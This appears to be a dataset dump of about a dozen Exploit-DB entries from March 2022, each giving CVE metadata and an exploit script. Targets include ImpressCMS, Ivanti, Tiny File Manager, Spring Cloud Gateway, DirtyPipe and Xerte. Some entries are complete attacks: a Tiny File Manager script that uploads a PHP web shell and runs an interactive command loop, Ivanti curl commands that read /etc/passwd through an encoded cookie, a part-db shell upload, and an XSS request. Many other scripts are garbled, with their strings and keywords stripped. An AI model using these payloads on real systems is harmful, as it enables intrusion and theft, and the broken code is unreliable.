QLWD/code_shield huggingface dataset:
标题: ImpressCMS 1.4.2 - Remote Code Execution (RCE) EDB-ID: 50839 CVE: 2021-26599 类型: WEBAPPS 平台: PHP 发布日期: 2022-03-30 漏洞利用脚本: # Exploit Title: ImpressCMS 1.4.2 - Remote Code Execution (RCE)
# Exploit Author: Egidio Romano aka EgiX
# Date: 30/03/2022
# Version: <= 1.4.2
# Venor: https://www.impresscms.org
# CVE: CVE-2021-26599

<?php

/*
    ----------------------------------------------------------
    ImpressCMS <= 1.4.2 SQL Injection to Remote Code Execution
    ----------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.impresscms.org
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "groups" POST parameter to the /include/findusers.php script is not
    properly sanitized before being passed to the icms_member_Handler::getUserCountByGroupLink() and
    icms_member_Handler::getUsersByGroupLink() methods. These methods use the first argument to
    construct a SQL query without proper validation, and this can be exploited by remote attackers
    to e.g. read sensitive data from the "users" database table through boolean-based SQL Injection
    attacks. The application uses PDO as a database driver, which allows for stacked SQL queries,
    as such this vulnerability could be exploited to e.g. create a new admin user and execute
    arbitrary PHP code.
    
    [-] CVE Reference:

    The Common Vulnerabilities and Exposures project (cve.mitre.org)
    has assigned the name CVE-2021-26599 to this vulnerability.

    [-] Disclosure timeline:
    
    [19/01/2021] - Vendor notified through HackerOne
    [29/01/2021] - Vulnerability acknowledged by the vendor
    [03/02/2021] - CVE number assigned
    [06/02/2022] - Version 1.4.3 released, vulnerability not correctly fixed
    [11/02/2022] - Vendor was informed about the ineffective fix
    [09/03/2022] - Version 1.4.4 released
    [22/03/2022] - Public disclosure
    
    [-] Technical writeup:

    http://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce
*/ URL: https://www.exploit-db.com/exploits/50839
标题: Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE) EDB-ID: 50833 CVE: 2021-44529 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-03-22 漏洞利用脚本: # Exploit Title: Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE)
# Date: 20/03/2022 
# Exploit Author: d7x 
# Vendor Homepage: https://www.ivanti.com/ 
# Software Link: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 
# Version: CSA 4.6 4.5 - EOF Aug 2021 
# Tested on: Linux x86_64
# CVE : CVE-2021-44529

###
This is the RCE exploit for the following advisory (officially discovered by Jakub Kramarz): 
https://forums.ivanti.com/s/article/SA-2021-12-02?language=en_US

Shoutouts to phyr3wall for providing a hint to where the obfuscated code relies

@d7x_real
https://d7x.promiselabs.net
https://www.promiselabs.net
###

# cat /etc/passwd
curl -i -s -k -X $'GET' -b $'e=ab; exec=c3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs=; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '<c123>\K.*?(?=</c123>)'; echo

# sleep for 10 seconds
curl -i -s -k -X $'GET' -b $'e=ab; exec=c2xlZXAoMTApOw==; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '<c123>\K.*?(?=</c123>)'; echo URL: https://www.exploit-db.com/exploits/50833
标题: iRZ Mobile Router - CSRF to RCE EDB-ID: 50832 CVE: 2022-27226 类型: REMOTE 平台: HARDWARE 发布日期: 2022-03-22 漏洞利用脚本: # Exploit Title: iRZ Mobile Router - CSRF to RCE
# Google Dork: intitle:"iRZ Mobile Router"
# Date: 2022-03-18
# Exploit Author: Stephen Chavez & Robert Willis
# Vendor Homepage: https://en.irz.ru/
# Software Link: https://github.com/SakuraSamuraii/ez-iRZ
# Version: Routers through 2022-03-16
# Tested on: RU21, RU21w, RL21, RU41, RL01
# CVE : CVE-2022-27226

import os
import requests
import json
import subprocess

option  


 
    
    
    
    
    
    
    
    
    
    runit


 
    option  
     option  
        exploit1
     option  
        exploit2
    
        


 
    
    
    
    router_ip  
    router_port  
          

    router_user  
    router_pass  

    LHOST  
    LPORT  

    router_url  f

    nc1_str  f

    nc1_str  

    send_json_payloadrouter_url router_user router_pass LHOST LPORT


 router_url router_user router_pass lhost_ip lhost_port

    intro  f
    intro
    payload_str    \
        f  \
        

    payload_json  jsonloadspayload_str

    s  requestsSession

    sauth  router_user router_pass

    sheadersupdate
         
    sheadersupdate 
    sheadersupdate router_url
    sheadersupdate router_url

    spostrouter_url   jsonpayload_json

    exploit_str  f

    
          exploit_str
    


 

    
    
    
    router_ip  
    router_port  
          

    LHOST  
    LPORT  

    load_csrf_poc_filerouter_ip router_port LHOST LPORT


 router_ip router_port lhost_ip lhost_port

    file_path  ospathdirname__file__  ossep  

     ospathisfilefile_path
         file_path  poc_file
            original_poc_data_str  poc_fileread

            new_html  original_poc_data_strreplace router_ip
            new_html  new_htmlreplace
                 router_port

            lhost_split_arr  lhost_ipsplit

             lhost_split_arr  

                new_html  new_htmlreplace
                     lhost_split_arr

                new_html  new_htmlreplace
                     lhost_split_arr

                new_html  new_htmlreplace
                     lhost_split_arr
                new_html  new_htmlreplace
                     lhost_split_arr

                new_html  new_htmlreplace
                     lhost_port

                new_file_path  ospathdirname
                    __file__  ossep  
                
                     new_file_path   new_file
                        new_filewritenew_html

                    
                    
                        f
                 FileNotFoundError
                    
            
                f

    
        f


main URL: https://www.exploit-db.com/exploits/50832
标题: Tiny File Manager 2.4.6 - Remote Code Execution (RCE) EDB-ID: 50828 CVE: 2021-45010 2021-40964 类型: WEBAPPS 平台: PHP 发布日期: 2022-03-16 漏洞利用脚本: # Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
# Date: 14/03/2022
# Exploit Author: FEBIN MON SAJI
# Software Link: https://github.com/prasathmani/tinyfilemanager
# Version: Tiny File Manager <= 2.4.6
# Tested on: Ubuntu 20.04
# CVE : CVE-2021-40964
# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/

#!/bin/bash

check(){

which curl
if  [ $? = 0 ]
then
printf "[✔] Curl found! \n"
else
printf "[❌] Curl not found! \n"
exit
fi

which jq
if  [ $? = 0 ]
then
printf "[✔] jq found! \n"
else
printf "[❌] jq not found! \n"
exit
fi
}
usage(){

printf "
TIny File Manager Authenticated RCE Exploit.

By FEBIN

$0 <URL> <Admin Username> <Password>

Example: $0 http://files.ubuntu.local/index.php admin \"admin@123\"

"
}

log-in(){
URL=$1
admin=$2
pass=$3
cookie=$(curl "$URL" -X POST -s -d "fm_usr=$admin&fm_pwd=$pass" -i | grep "Set-Cookie: " | sed s/"Set-Cookie: "//g | tr -d " " | tr ";" "\n" | head -1)

if [ $cookie ]
then
printf "\n[+]  Login Success! Cookie: $cookie \n"
else
printf "\n[-] Logn Failed! \n"
fi

URL=${URL}
}

find_webroot(){


webroot=$(curl -X POST "$URL?p=&upload" -d "type=upload&uploadurl=http://vyvyuytcuytcuycuytuy/&ajax=true" -H "Cookie: $cookie" -s | jq | grep file | tr -d '"' | tr -d "," | tr -d " " | sed s/"file:"//g | tr "/" "\n" | head --lines=-1 | tr "\n" "/" )


if [ $webroot ]
then
printf "\n[*] Try to Leak Web root directory path \n\n"
printf "[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : $webroot \n\n" 
else
printf "[-] Can't find WEBROOT! Using default /var/www/html \n"
webroot="/var/www/html"
fi
}

upload(){

#webroot="/var/www/tiny/"
shell="shell$RANDOM.php"
echo "<?php system(\$_REQUEST['cmd']); ?>" > /tmp/$shell



curl $URL?p= -X POST -s -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0" -b $cookie -F "p=" -F "fullpath=../../../../../../../..${webroot}/${shell}" -F "file=@/tmp/$shell" | grep "successful"


}

exploit(){

WEB_URL=$(printf "$URL" | tr "/" "\n" | head --lines=-1 | tr "\n" "/")

upload


if [ $? = 0 ]
then
printf "[+] File Upload Successful! \n"
else
printf "[-] File Upload Unsuccessful! Exiting! \n"
exit 1
fi


printf "[+] Checking for the shell \n"


curl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep "found" >/dev/null
if [ $? = 0 ]
then
printf "[+] Shell found ${WEB_URL}/$shell \n"
else 
printf "[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \n"
exit 2
fi

printf "[+] Getting shell access! \n\n"

while true
do
printf "$> "
read cmd
curl  ${WEB_URL}/$shell -s -X POST -d "cmd=${cmd}"
done
}

if [ $1 ] && [ $2 ] && [ $3 ]
then
check
log-in $1 $2 $3

find_webroot


exploit
else
usage
fi URL: https://www.exploit-db.com/exploits/50828
标题: Apache APISIX 2.12.1 - Remote Code Execution (RCE) EDB-ID: 50829 CVE: 2022-24112 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-03-16 漏洞利用脚本: # Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Date: 2022-03-16
# Exploit Author: Ven3xy
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: CentOS 7
# CVE : CVE-2022-24112


import requests
import sys

class color:
    HEADER = '\033[95m'
    IMPORTANT = '\33[35m'
    NOTICE = '\033[33m'
    OKBLUE  
    OKGREEN  
    WARNING  
    RED  
    END  
    UNDERLINE  
    LOGGING  
color_randomcolorHEADERcolorIMPORTANTcolorNOTICEcolorOKBLUEcolorOKGREENcolorWARNINGcolorREDcolorEND,color.UNDERLINE,color.LOGGING]    
    

 
    run  color_random
    run2  color_random           
    run3  color_random
    runrun2run3    

 sysargv  
    banner
    
    exit
    

    banner
    target_url  sysargv  
    lhost  sysargv
    lport  sysargv
    
headers1  
     
     
     
     
     
     
     
     


headers2  
     
     
     
     
     
     
     


json_data  
     
         
         
         
    
     
     
        
             
             
             lhostlport
        
    


response1  requestsposttarget_url headersheaders1 jsonjson_data verify

response2  requestsgettarget_url headersheaders2 verify URL: https://www.exploit-db.com/exploits/50829
标题: Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50826 CVE: 2022-26965 类型: WEBAPPS 平台: PHP 发布日期: 2022-03-16 漏洞利用脚本: # Exploit Title: Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)
# Date: 13.03.2022
# Exploit Author: Ashish Koli (Shikari)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Version: 4.7.16
# Tested on Ubuntu 20.04.3 LTS
# CVE: CVE-2022-26965
# Usage : python3 exploit.py <IP> <Port> <Password> <Pluckcmspath>
# Example:  python3 exploit.py 127.0.0.1 80 admin /pluck
# Reference: https://github.com/shikari00007/Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated--POC

'''
Description:
A theme upload functinality in Pluck CMS before 4.7.16 allows an admin
privileged user to gain access in the host through the "themes files",
which may result in remote code execution.
'''



 sys
 requests
 json
 time
 urllibparse
 struct


target_ip  sysargv
target_port  sysargv
password  sysargv
pluckcmspath  sysargv



session  requestsSession
link    target_ip    target_port  pluckcmspath
response  sessiongetlink
cookies_session  sessioncookiesget_dict
cookie  jsondumpscookies_session
cookie  cookiereplace
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 




base_content_len  
password_encoded  urllibparsequotepassword safe
password_encoded_len  password_encodedencode
content_len  base_content_len  password_encoded_len


header  
     target_ip
     
     
     
     
     
     content_len
       target_ip
     
       target_ip  pluckcmspath  
     cookie
     



body  
     password
     
     



link_auth    target_ip    target_port  pluckcmspath  
auth  requestspostlink_auth headersheader databody

   authtext
    
    exit

    
    




header1  
     target_ip
     
     
     
       target_ip
     
     
     
     
     
     
     
     
       target_ip    target_port  pluckcmspath  
     
     
     cookie
     
    




path  
fp  path
data fpread



link_upload    target_ip    target_port  pluckcmspath  
upload  requestspostlink_upload headersheader1 datadata



  target_ip    target_port  pluckcmspath URL: https://www.exploit-db.com/exploits/50826
标题: Seowon SLR-120 Router - Remote Code Execution (Unauthenticated) EDB-ID: 50821 CVE: 2020-17456 类型: REMOTE 平台: HARDWARE 发布日期: 2022-03-11 漏洞利用脚本: # Exploit Title: Seowon SLR-120 Router - Remote Code Execution (Unauthenticated)
# Date: 2022-03-11
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: http://www.seowonintech.co.kr
# Software Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=126&big_kind=B05&middle_kind=B05_30
# Version: All version
# Tested on: Windows 10 Enterprise x64 , Linux
# CVE : CVE-2020-17456

# [ About - Seowon SLR-120 router ]:

#The SLR-120 series are provide consistent access to LTE networks and transforms it to your own hotspot while being mobile,














 requests

 

url   



    
    
        cmd   
        
        header  
 
 
 
 
 
 
 
 
 
 


        datas  



cmd











        x  requestsposturldatadatas

        xtext URL: https://www.exploit-db.com/exploits/50821
标题: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe) EDB-ID: 50808 CVE: 2022-0847 类型: LOCAL 平台: LINUX 发布日期: 2022-03-08 漏洞利用脚本: // Exploit Title: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)
// Exploit Author: blasty (peter@haxx.in)
// Original Author: Max Kellermann (max.kellermann@ionos.com)
// CVE: CVE-2022-0847

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */


























  elfcode  
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
           



   p

  p 

   pipe_size  p F_GETPIPE_SZ
   buffer

 
   r  pipe_size r   
   n  r  buffer  buffer  r
  p buffer n
  r  n
 

 
   r  pipe_size r   
   n  r  buffer  buffer  r
  p buffer n
  r  n
 

 


  filename  offset uint8_t data size_t len 
 
   fd  filename O_RDONLY 
  fd   
  
   
 

  stat st
  fd st 
  
   
 

 
  p
 p

 
 offset
 ssize_t nbytes  fd offset p   
  nbytes   
  
   
 
  nbytes   
   
   
 

 
 nbytes  p data len
  nbytes   
  
   
 
  size_tnbytes  len 
   
   
 

 fd

  


  argc  argv 
  argc   
    argv
   EXIT_FAILURE
 

  path  argv
 uint8_t data  elfcode

  fd  path O_RDONLY
 uint8_t orig_bytes  elfcode
 fd  
 fd orig_bytes elfcode
 fd

 
  path  elfcode elfcode   
  
   EXIT_FAILURE
 

 
 path

 
  path  orig_bytes elfcode   
  
   EXIT_FAILURE
 

 
 

  EXIT_SUCCESS URL: https://www.exploit-db.com/exploits/50808
标题: part-db 0.5.11 - Remote Code Execution (RCE) EDB-ID: 50800 CVE: 2022-0848 类型: WEBAPPS 平台: PHP 发布日期: 2022-03-07 漏洞利用脚本: # Exploit Title: part-db 0.5.11 - Remote Code Execution (RCE)
# Google Dork: NA
# Date: 03/04/2022
# Exploit Author: Sunny Mehra @DSKMehra
# Vendor Homepage: https://github.com/part-db/part-db
# Software Link: https://github.com/part-db/part-db
# Version: [ 0.5.11.] 
# Tested on: [KALI OS]
# CVE : CVE-2022-0848
#
---------------

#!/bin/bash
host=127.0.0.1/Part-DB-0.5.10 #WEBHOST
#Usage: Change host 
#Command: bash exploit.sh
#EXPLOIT BY @DSKMehra
echo "<?php system(id); ?>">POC.phtml  #PHP Shell Code
result=`curl -i -s -X POST -F "logo_file=@POC.phtml" "http://$host/show_part_label.php" | grep -o -P '(?<=value="data/media/labels/).*(?=" > <p)'`
rm POC.phtml
echo Shell Location : "$host/data/media/labels/$result" URL: https://www.exploit-db.com/exploits/50800
标题: Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE) EDB-ID: 50799 CVE: 2022-22947 类型: WEBAPPS 平台: JAVA 发布日期: 2022-03-07 漏洞利用脚本: # Exploit Title: Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 03/03/2022
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://spring.io/
# Software Link: https://spring.io/projects/spring-cloud-gateway
# Version: This vulnerability affect Spring Cloud Gateway < 3.0.7 & < 3.1.1
# Tested on: 3.1.0
# CVE : CVE-2022-22947

import random
import string
import requests
import json
 sys
 urllibparse
 base64

headers         
proxies  
     
     

  joinrandomchoicestringascii_lowercase  i  

 url command
    
    payload              +command+"\u0022).getInputStream()))}"}}],"uri": 
    
    commandb64 base64b64encodecommandencodedecode

    rbase  requestsposturl   headersheaders datajsondumpspayload proxiesproxies verify
    rbasestatus_code  
        
        
        r  requestsposturl   headersheaders proxiesproxies verify
        rstatus_code  
            
            r  requestsgeturl     headersheaders proxiesproxies verify
            rstatus_code  
                get_response  rjson
                cleanurl 
                 get_responsesplit
            
                
                cleanurl 
                exit
        
            cleanurl 
            

    
 url 
    remove  requestsdeleteurl     headersheaders proxiesproxies verify
    removestatus_code  
        
    
        

 
    

 
    banner
     sysargv  
        
        
        exit
    
        url  sysargv
        command  sysargv
        exploiturl command
 __name__  
    main URL: https://www.exploit-db.com/exploits/50799
标题: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS) EDB-ID: 50797 CVE: 2021-46387 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-03-02 漏洞利用脚本: # Exploit Title: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS)
# Date: 1/3/2022
# Exploit Author: Momen Eldawakhly (CyberGuy)
# Vendor Homepage: https://www.zyxel.com
# Version: ZyWALL 2 Plus
# Tested on: Ubuntu Linux [Firefox]
# CVE : CVE-2021-46387

GET /Forms/rpAuth_1?id=%3C/form%3E%3CiMg%20src=x%20onerror=%22prompt(1)%22%3E%3Cform%3E HTTP/1.1
Host: vuln.ip:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1 URL: https://www.exploit-db.com/exploits/50797
标题: Xerte 3.9 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50795 CVE: 2021-44664 类型: WEBAPPS 平台: PHP 发布日期: 2022-03-02 漏洞利用脚本: # Exploit Title: Xerte 3.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 05/03/2021
# Exploit Author: Rik Lutz
# Vendor Homepage: https://xerte.org.uk
# Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.8.5-33.zip
# Version: up until version 3.9
# Tested on: Windows 10 XAMP 
# CVE : CVE-2021-44664

# This PoC assumes guest login is enabled and the en-GB langues files are used. 
# This PoC wil overwrite the existing langues file (.inc) for the englisch index page with a shell.
# Vulnerable url: https://<host>/website_code/php/import/fileupload.php



 requests
 re

xerte_base_url  
php_session_id   

 requestsSession  session
    
      php_session_id
        sessiongetxerte_base_url 
    
        sessioncookies php_session_id

     
    data  
         
         
         
         
    

    
    template_id  sessionpostxerte_base_url   datadata

    
    data  
         refindall template_idtext
    

    
    install_path  sessionpostxerte_base_url   datadata
    install_path  refindall install_pathtext

    headers  
         
         
         
         
       

    
    data  \
     \
     install_path \
     

    
    response  sessionpostxerte_base_url   headersheaders datadata
      install_path
    responsetext
       responsetext
          xerte_base_url URL: https://www.exploit-db.com/exploits/50795
标题: Xerte 3.10.3 - Directory Traversal (Authenticated) EDB-ID: 50794 CVE: 2021-44665 类型: WEBAPPS 平台: PHP 发布日期: 2022-03-02 漏洞利用脚本: # Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated)
# Date: 05/03/2021
# Exploit Author: Rik Lutz
# Vendor Homepage: https://xerte.org.uk
# Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.9.zip
# Version: up until 3.10.3
# Tested on: Windows 10 XAMP
# CVE : CVE-2021-44665

# This PoC assumes guest login is enabled. Vulnerable url:
# https://<host>/getfile.php?file=<user-direcotry>/../../database.php
# You can find a userfiles-directory by creating a project and browsing the media menu.
# Create new project from template -> visit "Properties" (! symbol) -> Media and Quota -> Click file to download
# The userfiles-direcotry will be noted in the URL and/or when you download a file.
# They look like: <numbers>-<username>-<templatename>

 requests
 re

xerte_base_url  
file_to_grab  
php_session_id   

 requestsSession  session
    
      php_session_id
        sessiongetxerte_base_url 
    
        sessioncookies php_session_id

    
    data  
         
         
         
         
    

    
    template_id  sessionpostxerte_base_url   datadata

    
    data  
         refindall template_idtext
    

    
    user_direcotry  sessionpostxerte_base_url   datadata
    user_direcotry  refindall user_direcotrytext

    
    result  sessiongetxerte_base_url    user_direcotry  file_to_grab
    resulttext
    
      sessioncookiesget_dict
      user_direcotry
    
      sessioncookiesget_dict    xerte_base_url    user_direcotry  file_to_grab URL: https://www.exploit-db.com/exploits/50794